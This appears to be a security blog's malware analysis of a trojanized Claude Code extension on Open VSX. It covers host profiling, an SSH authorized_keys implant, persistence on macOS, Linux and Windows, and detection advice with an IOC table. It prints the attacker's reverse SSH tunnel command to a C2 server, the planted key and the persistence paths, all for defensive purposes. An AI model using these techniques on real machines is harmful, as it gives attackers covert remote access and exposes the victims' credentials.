Claude Code Extension Backdoor on Open VSX: Analysis and IOCs

The CyberSec Guru

Claude Code Extension Backdoor

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Supply-chain attacks these days are generally in the following categories – cryptographic bypasses, zero-days, memory corruption. Most real breaches are simpler. They abuse authority the victim already handed over. Developer tools are a good example. They sit next to source repositories, cloud credentials, local environments, and production access, and the extensions that run inside them inherit much of that reach. That makes them an attractive place to hide.

In late October 2026, researcher Paul McCarty (6mile, OpenSourceMalware) found a malicious build of the Claude Code extension on the Open VSX registry. The package was anthropic.claude-code version 2.1.313. It looked like the normal AI coding assistant, but it quietly turned the developer’s machine into a remotely reachable SSH host. Everything below is a breakdown of how that works and what to do about it.

What happened: a trojanized Claude Code 2.1.313 on Open VSX

The change to the package was small. The unpacked archive kept its expected layout, its bundled application code, and its usual webview assets. The attacker prepended a compact 66-line loader to extension.js, the main entry point the editor’s runtime executes, and left the rest alone.

The loader is wrapped as an Immediately Invoked Function Expression, so it runs synchronously before any of the legitimate extension code initializes. The victim never has to open a Claude conversation or run a command. Launching the editor and letting the extension host activate the extension is enough to start the chain.

Why standard scanners miss it: no lifecycle scripts

The manifest declares no preinstall, postinstall, or prepare scripts. Scanners that flag suspicious install hooks in package metadata have nothing to flag. The malicious behavior lives in ordinary JavaScript in the extension’s main file, which executes inside a Node.js extension host with unrestricted access to the filesystem, the OS APIs, and the network stack.

That is the practical lesson for anyone building registry or endpoint detections: static manifest analysis covers only the part of an extension the attacker chose not to touch.

Host profiling: what the loader collects first

The IIFE imports standard Node.js modules (process, fs, os, http, and crypto) and starts profiling the machine. It collects:

  • the hostname, local username, OS architecture, and home directory
  • the global Git email, read with git config --global user.email
  • the names of up to forty environment variables containing strings such as KEY, TOKEN, SECRET, PASS, AWS, or GCP

The loader sends the variable names and leaves the values out. That choice tells the attacker which cloud providers, CI/CD systems, and credential classes exist on the host, without the outbound volume or content patterns that data loss prevention tooling is built to catch. The values themselves are left for later, to be read from inside the interactive SSH session.

Error suppression: how the malware stays invisible

Nearly every filesystem and network operation in the loader sits inside a broad exception handler. A developer workstation is an unpredictable target. ~/.ssh may not exist, service-management commands may need privileges the process lacks, and egress may be filtered. If the loader threw on any of those, the legitimate extension would fail to load and the user would notice a broken tool.

With everything swallowed, a failed attempt to enable an SSH daemon or write a persistence file changes nothing visible. The real extension keeps initializing and rendering its UI as usual. This is deliberate engineering to keep a partial infection quiet, and it also means a “working” extension tells you nothing about whether the machine was touched.

📬 Stay Ahead of Cyber Threats

Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.

Subscribe to the Newsletter →

SSH persistence: the authorized_keys implant

When the loader resolves a home directory, it creates ~/.ssh with 0700 permissions and appends an Ed25519 public key to ~/.ssh/authorized_keys, then sets the file to 0600 so a strict SSH daemon will accept it. The key carries the comment svc-telemetry, a label picked to look like an automated service account during a quick manual review.

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry

Its SHA-256 fingerprint is 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.

This technique is hard to spot from process telemetry. It opens no listening port, runs no new background process, and modifies no binary. It adds one more way to authenticate. Because it lives in a file and not in a credential, it survives password resets and credential rotation. As long as the line stays in authorized_keys and the attacker holds the private key, the access remains.

The reverse SSH tunnel: getting past NAT and firewalls

Developer machines often sit behind NAT or a corporate firewall that blocks inbound port 22, so a planted key alone would not be reachable. The loader solves that by making the victim connect outward.

First it tries to enable the local SSH service without prompting for privileges:

  • macOS: sudo -n systemsetup -setremotelogin on. The -n flag makes sudo fail immediately instead of asking for a password the background process cannot supply.
  • Linux: it probes for sshd or ssh services through systemctl.
  • Windows: it uses PowerShell to install and configure the OpenSSH Server capability.

At the same time it decodes a base64-encoded OpenSSH private key embedded in the JavaScript bundle and writes it to a temporary file named .stk_<identifier> in the system temp directory. The key’s SHA-256 hash is 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278. It authenticates an outbound connection to the command-and-control server at 134.209.82.225.

The tunnel command is:

ssh -N -R '*:0:localhost:22' [email protected]

Each part matters:

  • -N tells the client not to run a remote command, so the connection exists only to forward ports.
  • -R requests remote forwarding: a listener opens on the C2 server and traffic arriving there is carried back through the tunnel.
  • * asks for the listener to bind on all interfaces, which the C2 server’s GatewayPorts setting has to allow.
  • 0 asks the remote SSH daemon to pick a free port dynamically.
  • localhost:22 is the destination, meaning the victim’s own SSH daemon.

The result is that the attacker connects to a port on their own server and lands in the victim’s SSH daemon, through a channel the victim’s firewall already allowed. The connection disables host-key verification and ignores the user’s known_hosts, so no warning interrupts the automated loop, and it uses autossh where it is installed to keep the tunnel alive through network drops.

Persistence on macOS, Linux, and Windows

Every mechanism runs in the user’s own security context, so none of them needs root or administrator rights.

On macOS, the loader writes ~/Library/LaunchAgents/com.apple.sysmond.plist. The com.apple.* reverse-DNS name is meant to make a developer browsing the LaunchAgents folder assume it is part of the OS. The plist uses RunAtLoad and KeepAlive, so the .smt shell script, which rebuilds the private key and reopens the tunnel, starts at login and gets restarted by launchd if it dies.

On Linux, the same .smt and .smtk files go into ~/.config, and an @reboot entry in the user’s crontab launches them.

On Windows, it creates a scheduled task named SysMon that runs at startup. If task creation fails for lack of privileges, it falls back to copying a sysmon.cmd script into the user’s Startup folder.

The beacon, and why the tunnel is the payload

After a 1.5-second delay the loader sends one reconnaissance beacon. It queries public IP services (ifconfig.me and api.ipify.org) to learn the network’s external address, then packs that together with the host details and environment variable names into JSON. The JSON goes over plain HTTP to port 8099, on both 127.0.0.1 and the C2 server at 134.209.82.225. The response is read and discarded.

There is no second-stage download, no dynamic configuration, and no command channel in the injected code. The SSH tunnel is the payload. Once the attacker has an authenticated shell, they can run commands, move files, and pivot into internal networks using ordinary SSH traffic, with no custom remote administration tool for a scanner or file-integrity monitor to find.

Claude Code Plugin SSH Backdoor
Claude Code Plugin SSH Backdoor

How the package reached Open VSX

Open VSX is the Eclipse Foundation-backed registry that serves as the default extension source for VS Code forks such as Cursor, Windsurf, and VSCodium. Those forks are barred by licensing from using Microsoft’s official Marketplace. Open VSX’s publication pipeline has historically relied on asynchronous namespace-matching checks and malware scanning after publication, not on a synchronous sandbox gate before it.

Here, the malicious version was published under the anthropic.claude-code namespace, which was legitimately owned by an Anthropic employee. How the attacker got publishing rights is still under investigation. A hijacked maintainer account, a compromised CI/CD pipeline, and a stolen publication token are all possible. The architectural point holds regardless of which it was: when checks run after publication, a malicious version can be served to downstream users immediately, and quarantine only starts once a scanner or a namespace check catches it.

The presence of the artifact on Open VSX does not by itself show that Anthropic’s core infrastructure or Microsoft’s official VS Code Marketplace was breached. Threat reports were filed for the corresponding Marketplace identity as a precaution.

How to detect the Claude Code backdoor

Antivirus is a poor fit here, because the malicious pieces rely on native OS utilities and the stock SSH client. Detection has to focus on files, processes, and network behavior.

Files and keys

  • Monitor ~/.ssh/authorized_keys for new Ed25519 keys. Search for the svc-telemetry comment and for the fingerprint above. ssh-keygen -lf ~/.ssh/authorized_keys prints fingerprints so you can compare against the IOC.
  • Look for .stk_* files in the system temp directory.
  • On macOS, audit ~/Library/LaunchAgents/ for com.apple.sysmond.plist and inspect ~/.config/.smt.
  • On Linux, check ~/.config/.smt and ~/.config/.smtk, and review user crontabs with crontab -l for unexpected @reboot entries.
  • On Windows, look for a scheduled task named SysMon and a sysmon.cmd file in the Startup folder.

Processes and network

  • Tune EDR to flag outbound SSH connections from editor processes such as code.exe, cursor.exe, or node instances tied to the extension host, especially anything using -R *:0:localhost:22.
  • Block and alert on traffic to 134.209.82.225 on port 22 and port 8099.
  • Watch for HTTP requests to 127.0.0.1:8099/beacon, ifconfig.me, and api.ipify.org coming from IDE processes.

Treat it as a full host compromise

If an endpoint loaded the malicious extension.js, handle it as a compromised host, not a malware infection you can clean up. Uninstalling the extension or deleting the known files does not end the access, because the authorized_keys entry and the reverse tunnel run independently of the editor.

  1. Isolate the machine from the network to cut any active tunnel and limit lateral movement.
  2. Preserve forensic evidence first: SSH daemon logs, process execution history, and network flow records. These show what the attacker did during any interactive session.
  3. Assume every credential reachable from that user account is exposed. That covers source control tokens, cloud API keys, SSH identities for downstream servers, and CI/CD secrets. Rotate them from a known-clean environment.
  4. Rebuild the host from a trusted, immutable image. It is the only reliable way to be sure the backdoor is gone.

Hardening the developer toolchain

The editor is part of your attack surface, and the extensions in it deserve the same scrutiny as the packages in your build. Some practical steps follow from this incident:

  • Keep an approved extension list and pin versions, and do not let auto-update pull new releases onto machines with production access.
  • Restrict egress from developer workstations so outbound SSH to arbitrary hosts is not allowed by default.
  • Alert on changes to authorized_keys as you would on a new admin account.
  • If your team uses VS Code forks that rely on Open VSX, remember that its checks happen after publication and plan for that gap.

AI coding agents with deep filesystem and network access raise the stakes. Publisher branding and download counts are weak trust signals. Artifact integrity, strict namespace ownership, and monitoring of the execution contexts that run developer tooling are the signals that hold up.

Indicators of compromise (IOCs)

TypeIndicator
Packageanthropic.claude-code 2.1.313 (Open VSX)
C2 IPv4134.209.82.225 (SSH on 22, HTTP beacon on 8099)
Beacon URL127.0.0.1:8099/beacon
IP lookup servicesifconfig.me, api.ipify.org
SSH public keyAAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P (comment svc-telemetry)
Public key SHA-256 fingerprint0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
Embedded private key SHA-2567e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
Malicious extension.js SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
Directory digest (SHA-256)18756b75afedee74bbf49832a1b1dada4961672c41d595be5c1bbe75709de927
macOS persistence~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, ~/.config/.smtk
Linux persistence~/.config/.smt, ~/.config/.smtk, @reboot crontab entry
Windows persistenceScheduled task SysMon, sysmon.cmd in the Startup folder
Temp artifact.stk_<identifier> in the system temp directory
Tunnel commandssh -N -R '*:0:localhost:22' [email protected]

Frequently asked questions

Which Claude Code version was malicious?
Version 2.1.313 of anthropic.claude-code, published to the Open VSX registry.

Does this mean Anthropic or the VS Code Marketplace was breached?
No. The artifact was confirmed on Open VSX only. How the publisher access was obtained is still under investigation.

Do I need to open Claude Code for the backdoor to run?
No. The loader executes when the extension host activates the extension, before the legitimate code starts.

Is uninstalling the extension enough?
No. The authorized_keys entry and the reverse tunnel keep working after removal, so the host should be isolated, credentials rotated, and the system rebuilt from a trusted image.

What should I search for first?
Check ~/.ssh/authorized_keys for the svc-telemetry key or its fingerprint, then look for outbound connections to 134.209.82.225.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.